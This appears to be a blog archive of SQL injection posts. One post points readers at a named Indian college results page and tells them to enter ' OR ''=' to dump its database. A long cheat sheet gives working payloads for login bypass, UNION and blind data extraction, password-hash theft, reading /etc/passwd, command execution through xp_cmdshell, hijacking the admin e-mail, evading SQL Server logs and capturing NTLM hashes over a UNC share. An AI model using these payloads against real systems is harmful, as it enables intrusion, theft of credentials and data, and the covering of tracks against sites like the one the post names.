Showing posts with label SQL injection. Show all posts
Showing posts with label SQL injection. Show all posts

Thursday, January 10, 2013

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group

Thursday, December 15, 2011

sql injection hacks Most common injection : ' OR ''='



Live example

click

http://fsmdc.fsm.ac.in/pgdmresult.asp



now enter


' OR ''='



n watch it vomit d database..

i myself gave d CAT dis year n found almost 8 out of 10 Indian MBA college sites are vulnerable.



watch full description below.



regards

Rahul Dutt Avasthy

Cyber Security Consultant


SYNTAX REFERENCE, SAMPLE ATTACKS AND DIRTY SQL INJECTION TRICKS

Ending / Commenting Out / Line Comments

Line Comments Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
  • -- (SM)

    DROP sampletable;--


  • # (M)

    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

    This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members


  • /*! MYSQL Special SQL */ (M)

    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.



    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*

    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --


  • SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10

    You will get the same response if MySQL version is higher than 3.23.02


  • SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
  • ; (S)

    SELECT * FROM members; DROP members--
Ends a query and starts a new one. Language / Database Stacked Query Support Table green: supported, dark gray: not supported, light gray: unknown

SQL ServerMySQLPostgreSQLORACLEMS Access
ASP




ASP.NET




PHP




Java




About MySQL and PHP;

To clarify some issues;

PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify? Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately. MySQL If Statement
  • IF(condition,true-part,false-part) (M)

    SELECT IF(1=1,'true','false')
SQL Server If Statement
  • IF condition true-part ELSE false-part (S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
  • 0xHEXNUMBER (SM)

    You can write hex like these;



    SELECT CHAR(0x66) (S)

    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)

    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database. String Concatenation
  • + (S)

    SELECT login + '-' + password FROM members


  • || (*MO)

    SELECT login || '-' || password FROM members
*About MySQL "||";

If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
  • CONCAT(str1, str2, str3, ...) (M)

    Concatenate supplied strings.

    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
  • 0x457578 (M) - Hex Representation of string

    SELECT 0x457578

    This will be selected as string in MySQL.



    In MySQL easy way to generate hex representations of strings use this;

    SELECT CONCAT('0x',HEX('c:\\boot.ini'))


  • Using CONCAT() in MySQL

    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

    This will return ‘KLM’.


  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

    This will return ‘KLM’.
Hex based SQL Injection Samples
  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP)

    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.



    SELECT ASCII('a')


  • CHAR() (SM)

    Convert an integer of ASCII.



    SELECT CHAR(64)

UNION INJECTIONS

With union you do SQL queries cross-table. Basically you can poison query to return records from another table. SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

This will combine results from both news table and members table and return all of them. Another Example :

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.
  • SQL Server (S)

    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.



    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members


  • MySQL (M)

    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)

    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Bypassing MD5 Hash Check Example (MSP) Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S) In the same order,
  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+) Finding column number by ORDER BY can speed up the UNION SQL Injection process.
  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,
  • Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)
Finding Column Type
  • ' union select sum(columntofind) from users-- (S)

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.



    If you are not getting error it means column is numeric.


  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--


  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-

    No Error - Syntax is right. MS SQL Server Used. Proceeding.


  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-

    No Error – First column is an integer.


  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

    Error! – Second column is not an integer.


  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

    No Error – Second column is a string.


  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

    Error! – Third column is not an integer. ...



    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)

Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10) Bulk Insert (S) Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
    3. Drop temp table, and repeat for another file.
BCP (S) Write text file. Login Credentials are required to use this function. 

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar VBS, WSH in SQL Server (S) You can use VBS, WSH scripting in SQL Server because of ActiveX support. declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S) Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access. EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it), EXEC master.dbo.xp_cmdshell 'ping ' You can not read results directly from error or union or something else. Some Special Tables in SQL Server (S)
  • Error Messages

    master..sysmessages


  • Linked Servers

    master..sysservers


  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )

    SQL Server 2000: masters..sysxlogins

    SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
  1. Cmd Execute (xp_cmdshell)

    exec master..xp_cmdshell 'dir'


  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite

      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'


  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)

    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’

    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/ DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0 HOST_NAME()

IS_MEMBER (Transact-SQL)

IS_SRVROLEMEMBER (Transact-SQL)

OPENDATASOURCE (Transact-SQL) INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG" OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx You can not use sub selects in SQL Server Insert queries. SQL Injection in LIMIT (M) or ORDER (MSO) SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ; If injection is in second limit you can comment it out or use in your union injection Shutdown SQL Server (S) When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these. EXEC sp_configure 'show advanced options',1

RECONFIGURE EXEC sp_configure 'xp_cmdshell',1

RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables SELECT name FROM sysobjects WHERE xtype = 'U' Getting Column Names SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,

    ... WHERE users NOT IN ('First User', 'Second User')

    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one


  • Using Dirty Tricks

    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int



    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

BLIND SQL INJECTIONS

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections. Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code

Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though. In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE. Real and a bit Complex Blind SQL Injection Attack Sample This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. TRUE and FALSE flags mark queries returned true or false. TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--



TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--



FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-->Waiting For Blind SQL Injections First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout. WAIT FOR DELAY 'time' (S) This is just like sleep, wait for spesified time. CPU safe way to make database wait. WAITFOR DELAY '0:0:10'-- Also you can use fractions like this, WAITFOR DELAY '0:0:0.51' Real World Samples
  • Are we 'sa' ?

    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M) Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast! BENCHMARK(howmanytimes, do this) Real World Samples
  • Are we root ? woot!

    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))


  • Check Table exist in MySQL

    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P) Sleep for supplied seconds.
  • SELECT pg_sleep(10);

    Sleep 10 seconds.

COVERING TRACKS

SQL Server -sp_password log bypass (S) SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

CLEAR SQL INJECTION TESTS

These tests are simply good for blind sql injection and silent attacks.
  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1


  2. product.asp?name=Book
    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

SOME EXTRA MYSQL NOTES

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data inifile

    • By default it’s not avaliable !
      • create table foo( line blob );

        load data infile 'c:/boot.ini' into table foo;

        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );

    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
  • MD5()

    MD5 Hashing
  • SHA1()

    SHA1 Hashing


  • PASSWORD()
  • ENCODE()
  • COMPRESS()

    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()

    Same as @@version

SECOND ORDER SQL INJECTIONS

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. Name : ' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel. Bulk insert from a UNC Share (S)

bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Basics.



SELECT * FROM login /* foobar */

SELECT * FROM login WHERE id = 1 or 1=1

SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations.



SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"



SHOW TABLES

SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES

SELECT VERSION

SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()

SELECT host,user,db from mysql.db

SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

Operators



SELECT 1 && 1;

SELECT 1 || 1;

SELECT 1 XOR 0;

Evaluate



all render TRUE or 1.

SELECT 0.1 <= 2;

SELECT 2 >= 2;

SELECT ISNULL(1/0);

Math



SELECT FLOOR(7 + (RAND() * 5));

SELECT ROUND(23.298, -1);

Misc



SELECT LENGTH(COMPRESS(REPEAT('a',1000)));

SELECT MD5('abc');

Benchmark



SELECT BENCHMARK(10000000,ENCODE('abc','123'));

this takes around 5 sec on a localhost



SELECT BENCHMARK(1000000,MD5(CHAR(116)))

this takes around 7 sec on a localhost



SELECT BENCHMARK(10000000,MD5(CHAR(116)))

this takes around 70 sec on a localhost

Using the timeout to check if user exists



SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login



Beware of of the N rounds, add an extra zero and it could stall or crash your

browser!

Gathering info

Table mapping



SELECT COUNT(*) FROM tablename

Field mapping



SELECT * FROM tablename WHERE user LIKE "%root%"

SELECT * FROM tablename WHERE user LIKE "%"

SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;

SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

User mapping



SELECT * FROM tablename WHERE email = 'user@site.com';

SELECT * FROM tablename WHERE user LIKE "%root%"

SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors

Writing info into files



SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE

'/path/location/on/server/www/passes.txt'

Writing info into files without single quotes: (example)



SELECT password FROM tablename WHERE username =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO

OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(

39))



Note: You must specify a new file, it may not exist! and give the correct

pathname!

The CHAR() quoteless function



SELECT * FROM login WHERE user =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))



SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes



SELECT user FROM login WHERE user = 'root'

UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),

BENCHMARK(1000000,MD5('x')),null) FROM login

example:



SELECT user FROM login WHERE user = 'admin'

UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),

BENCHMARK(1000000,MD5('x')),null) FROM login



SELECT user FROM login WHERE user = 'admin'

UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),

BENCHMARK(1000000,MD5('x')),null) FROM login

explaining: (passwordfield,startcharacter,selectlength)



is like: (password,1,2) this selects: ‘ab’

is like: (password,1,3) this selects: ‘abc’

is like: (password,1,4) this selects: ‘abcd’



A quoteless example:



SELECT user FROM login WHERE user =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),

BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login



Possible chars: 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122

Misc

Insert a new user into DB



INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user



load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =

'r00t', pass = 'abc'



Then login!

Write the DB user away into tmp



SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”



UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions



(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding



WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK



"injection string"

に関する追加情報:



the above chars are Chinese Big5

Advanced Vectors

Using an HEX encoded query to bypass escaping.

Normal:



SELECT * FROM login WHERE user = 'root'

Bypass:



SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

Normal:



insert into login set user = ‘root’, pass = ‘root’

Bypass:



insert into login set user = 0×726F6F74, pass = 0×726F6F74

How to determin the HEX value for injection.



SELECT HEX('root');

gives you:



726F6F74

then add:



0x

before it.

Monday, December 12, 2011

How SQL Works:
-Before you can perform an injection, you must first understand how SQL works.
-When you register a new username and password on a website, the username and
password you entered is kept in the site’s member table; the username and
password are put in their separate columns.
-When you log in with the username and password you registered, the login page
looks for a row in the member table that has the same username and password that
you supplied.
-The login form takes the conditions that you supply, and searches the member
table for any rows that satisfy those conditions.
-If a row exists that has both the same username and password, then you are
allowed to go on your account.
-If no row is found, the login page will tell you that the account you specified
does not exist, or that your username and password is wrong.
-SQL can also display information on a website.
-If a site has a news section, there may be an SQL table that, for example, holds
all of the article names.
-More often than not, articles on a website are identified by a number.
-When you click on a link to an article, you are usually able to see the number of
the article you clicked on by looking at the URL of the page you are on.
*For the next three bullets, please refer to figure B below*
-When you click a link like this, www.site.com/news.asp?ArticleID=10, the link
tells the site to look in the table that stores the article names for an article who’s
“ArticleID” is 10.
-Once the website has found this column in the table, it may look for a column
named “Title” in the same row and display this value as the article’s title on your screen.
-In this case, “Cats” is what you would ultimately see on your screen as the title of
the article.
-It is important to realize that what is typed after the “=” sign in the URL is part of
an SQL command;

Saturday, December 10, 2011




SQL injection!
SQL injection is the most common and videly used exploit by hackers all over the
world...few days back i was just doing some SQL injection test on Indian govt sites,
I was shocked to see how many imp govt sites r open to it....this is a big thread
for us...a malicious hacker can do a lot of harm if he wish to.

Vocabulary:

* SQL: Server Query Language-used in web applications to interact with databases.
* SQL Injection: Method of exploiting a web application by supplying user input
designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web
application. The application then puts you input directly into a SQL query.
In advertantly, this allows you to manipulate to query...

Prerequisite:

* A background of programming and a general idea of how most hacking methods are done.
see this pic --->




Application:

* Hacking a SQL database-driven server (usually only the ones that use unparsed user
 input in database queries). There is still a surprising number of data-driven web
applications on the net that are vulnerable to this type of exploit. Being as typical
as all method, the frequency of possible targets decreases over time as the method
becomes more known. This is one those exploits that aren't easily prevented by a
simple patch but by a competent programmer.

Use:
First, let's look at a typical SQL query:
